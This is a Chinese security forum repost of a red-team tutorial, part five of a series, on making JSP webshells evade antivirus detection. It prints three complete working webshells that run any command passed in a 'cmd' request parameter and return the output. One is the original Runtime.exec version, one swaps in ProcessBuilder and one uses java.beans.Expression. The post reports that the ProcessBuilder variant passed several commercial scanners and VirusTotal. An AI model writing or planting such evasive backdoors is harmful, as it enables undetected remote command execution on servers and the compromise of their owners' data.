安全矩阵

 找回密码
 立即注册
搜索
查看: 904|回复: 0

什么?你还不会webshell免杀?(五)

[复制链接]

260

主题

275

帖子

1065

积分

金牌会员

Rank: 6Rank: 6

积分
1065
发表于 2022-9-16 20:34:09 | 显示全部楼层 |阅读模式
本帖最后由 luozhenni 于 2022-9-16 20:33 编辑


什么?你还不会webshell免杀?(五)

原文链接:什么?你还不会webshell免杀?(五)
合天网安实验室 2022-09-16 17:30 发表于湖南
以下文章来源于红队蓝军 ,作者naihe567

内置函数免杀
原始webshell
  1. <%@ page import="java.io.InputStream" %>
  2. <%@ page import="java.io.BufferedReader" %>
  3. <%@ page import="java.io.InputStreamReader" %>
  4. <%@page language="java" pageEncoding="utf-8" %>


  5. <%
  6.     String cmd = request.getParameter("cmd");
  7.     Process process = Runtime.getRuntime().exec(cmd);
  8.     InputStream is = process.getInputStream();
  9.     BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(is));
  10.     String r = null;
  11.     while((r = bufferedReader.readLine())!=null){
  12.         response.getWriter().println(r);
  13.     }
  14. %>
复制代码
查杀的点在于Runtime.getRuntime().exec非常明显的特征
利用ProcessBuilder替换Runtime.getRuntime().exec(cmd)
Runtime.getRuntime().exec(cmd)其实最终调用的是ProcessBuilder这个函数,因此我们可以直接利用ProcessBuilder来替换Runtime.getRuntime().exec(cmd),从而绕过正则表达式
编辑
  1. <%@ page import="java.io.InputStream" %>
  2. <%@ page import="java.io.BufferedReader" %>
  3. <%@ page import="java.io.InputStreamReader" %>
  4. <%@page language="java" pageEncoding="utf-8" %>


  5. <%
  6.   String cmd = request.getParameter("cmd");
  7.   Process process = new ProcessBuilder(new String[]{cmd}).start();
  8.   InputStream is = process.getInputStream();
  9.   BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(is));
  10.   String r = null;
  11.   while((r = bufferedReader.readLine())!=null){
  12.     response.getWriter().println(r);
  13.   }
  14. %>
复制代码


编辑
免杀效果
某狗:
编辑
某盾:
编辑
某马:
编辑
vt:
编辑
某度在线查杀:
编辑
可以看到这全部都免杀过了,就换了一个函数。
BeansExpression免杀
这种方式是利用Expression将Runtime.getRuntime().exec这个特征分开,相当于一个对调函数。免杀效果一般,因为很多查杀都是直接匹配Runtime.getRuntime()
  1. <%@ page import="java.beans.Expression" %>
  2. <%@ page import="java.io.InputStreamReader" %>
  3. <%@ page import="java.io.BufferedReader" %>
  4. <%@ page import="java.io.InputStream" %>
  5. <%@ page language="java" pageEncoding="UTF-8" %>
  6. <%
  7.   String cmd = request.getParameter("cmd");
  8.   Expression expr = new Expression(Runtime.getRuntime(), "exec", new Object[]{cmd});

  9.   Process process = (Process) expr.getValue();
  10.   InputStream in = process.getInputStream();
  11.   BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(in));
  12.   String tmp = null;
  13.   while((tmp = bufferedReader.readLine())!=null){
  14.     response.getWriter().println(tmp);
  15.   }
  16. %>
复制代码


查杀效果:
编辑

编辑

编辑
可以看到某狗已经查杀出来了。只能说效果很一般
总结
在此章节中主要讲解一下内置的一些函数来替换,从而消除一些特征,但这种方式还是非常非常容易被查杀的,后面会讲解jsp的一些特性,字节码,反射,包含等免杀方式











回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-3-29 05:46 , Processed in 0.017474 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表